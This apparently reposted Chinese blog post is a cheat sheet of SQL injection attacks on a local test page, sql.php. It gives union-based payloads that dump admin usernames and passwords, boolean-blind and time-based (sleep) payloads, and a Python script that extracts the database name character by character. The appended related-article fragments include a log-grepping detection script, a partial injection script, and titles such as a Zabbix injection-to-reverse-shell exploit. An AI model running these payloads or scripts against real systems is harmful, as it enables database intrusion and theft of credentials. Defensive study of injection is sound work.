常规SQL注入脚本

一:union报错注入
猜字段长度:
order by 28

先显示位
http://127.0.0.1/sql.php?cmd=-1 UNION SELECT 1,2,3,4,5,6,7,8,9

当前数据库:
http://127.0.0.1/sql.php?cmd=-1 UNION SELECT 1,2,3,4,5,6,7,8,database()

爆数据表:
http://127.0.0.1/sql.php?cmd=1 and 1=2 UNION SELECT 1,2,3,4,5,6,7,8,group_concat(table_name) from information_schema.tables where table_schema=‘gxlcms‘

爆字段:
http://127.0.0.1/sql.php?cmd=-1 UNION SELECT 1,2,3,4,5,6,7,8,group_concat(column_name) from information_schema.columns where table_name=‘gxl_admin‘

出数据
http://127.0.0.1/sql.php?cmd=-1 UNION SELECT 1,2,3,4,5,6,7,8,group_concat(admin_name,admin_pwd) from gxl_admin

二:bool盲注
数据库名是:gxlcms

判断当前数据库长度/内容
http://127.0.0.1/sql.php?cmd=1 and length(database())=6
出数据库名
http://127.0.0.1/sql.php?cmd=1 and mid(database(),2,1)=‘x‘

#coding:utf-8
#简单boole 盲注脚本

import urllib
#获取当前数据库长度,并猜解出来
url = ‘http://127.0.0.1/sql.php?cmd=1‘
payloads = ‘[email protected]_.‘
table1=‘‘
for i in range(1,20):
    payloadl = ‘ and length(database())=%s‘%i
    html = urllib.urlopen(url+payloadl).read()
    #print html
    if ‘Array‘ in html:#判断语句自己修改
        print "The length is %s: "%i
        length = i
        break
for x in range(1,length+1):
    for p in payloads:
        p2 = ‘ and mid(database(),%s,1)=\‘%s\‘‘ %(x,p)
        r2 = urllib.urlopen(url+p2).read()
        if ‘Array‘ in r2:#判断语句自己修改
            table1+=p
            print table1

三:时间注入
判断数据库长度
http://127.0.0.1/sql.php?cmd=1 and if(length(database())=6,sleep(5),1);

判断数据库内容:
http://127.0.0.1/sql.php?cmd=1 and if(mid(database(),1,1)=‘g‘,sleep(5),1);

时间盲注的脚本之前也写了个,将就着用吧!

时间: 2024-08-05 06:33:05

常规SQL注入脚本的相关文章

防SQL注入脚本

针对sql注入特征编写的sql防注入脚本 vi  sql.sh #!/bin/bash select_union(){ date=`date +%F\(%H:%M:%S\)` keyword=`grep -E 'select' ./access.log | grep -E 'union' | awk '{print $1}'|sort | uniq` for i in $keyword do grep '\<'$i'\>' ip.list &>/dev/null ###白名单列表

禁用substr、substring、mid函数的sql注入脚本

#encodeing=utf-8 import requests import sys reload(sys) sys.setdefaultencoding('utf-8') payloads = list('[email protected]_.') headers = { 'Cache-Control':'max-age=0','Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.

SQL 注入,永不过时的黑客技术

TalkTalk的信息泄漏事件导致约15万人的敏感信息被暴露,涉嫌造成这一事件的其中一名黑客使用的并不是很新的技术.事实上,该技术的「年纪」比这名15岁黑客还要大两岁. [译注:TalkTalk是英国电话和宽带供应商,这件信息安全事故发生在2015年10月份,当时这件事情还挺轰动的,上了新闻头条,其中一名黑客年仅15岁.] 这项技术就是大名鼎鼎的SQL注入,所谓SQL注入就是黑客在网站的提交表单数据中输入恶意命令从而获取数据的方法.它曾经被用来窃取世界卫生组织员工的信息,偷过华尔街日报数据,甚至

Zabbix sql注入漏洞脚本执行反弹shell

exp检测是否存在SQL注入漏洞[email protected]:~# python zabbix.py http://ip:9090/+------------------------------------------------------------+ Python Zabbix<3.0.4 SQL注入 Exploitsuccess+------------------------------------------------------------+Zabbix 存在SQL注入漏洞

XPath注入跟SQL注入差不多,只不过这里的数据库走的xml格式

SQL注入这块不想细聊了,相信很多朋友都听到耳朵长茧,不外乎是提交含有SQL操作语句的信息给后端,后端如果没有做好过滤就执行该语句,攻击者自然可以随意操纵该站点的数据库. 比如有一个图书馆站点book.com,你点进一本书的详情页面,其url是这样的: book.com/book?id=100 说明这本书在数据库中的键值是100,后端收到url参数后就执行了数据库查询操作: select * from booktable where id='100' 那么如果我们把url更改为 book.com

php中防止SQL注入的方法

[一.在服务器端配置] 安全,PHP代码编写是一方面,PHP的配置更是非常关键. 我们php手手工安装的,php的默认配置文件在 /usr/local/apache2/conf/php.ini,我们最主要就是要配置php.ini中的内容,让我们执行 php能够更安全.整个PHP中的安全设置主要是为了防止phpshell和SQL Injection的攻击,一下我们慢慢探讨.我们先使用任何编辑工具打开 /etc/local/apache2/conf/php.ini,如果你是采用其他方式安装,配置文件

sql注入总结

本实验测试是基于sqli-labs的实验环境 环境配置:php+mysql 环境搭建请参考 http://www.freebuf.com/articles/web/34619.html Sql注入定义: 就是通过把sql命令插入到web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行的sql命令的目的 sql注入分类: 基于联合查询 基于错误回显 基于盲注,分时间盲注和布尔型的盲注 基于user-agent 基于feferer 基于cookie 二次注入 宽字节注入 注入一个网站

SQL注入解决思路(C#示例)

最近在编程中遇到一个SQL注入防护的问题.在这里顺便把SQL注入小结一下.以MYSQL(5.1)为例. 一.常规的SQL语句 观察SQL语句 SELECT * FROM [tableName] WHERE col1='value1' 这个语句由3个部分组成,SELECT子句筛选得到结果,FROM子句指定了筛选的范围,WHERE子句指定了条件.当在其中进行如下置换: SELECT * FROM [tableName] WHERE 1 之后,选出了[tableName]表中的全部内容.分析其语法不难

SQL注入之mysql显错注入

在我们实际渗透中,明明发现一个注入点,本以为丢给sqlmap就可以了,结果sqlmap只显示确实是注入点,但是数据库却获取不了,如图1所示,这时我们可以使用手工进行注入,判断出过滤规则以及基本过滤情况,然后再选择对应的sqlmap脚本(如果有的话),本文主要是讲述如何通过mysql函数报错来进行注入,另外如何使用手工进行全程注入的利用过程,如果你知道sqlmap里面有对应的脚本的话,烦请告知一下,谢谢!. 图1 获取数据库失败 此时我们可以考虑下是否是显错注入,对于显错注入我们可以使用mysql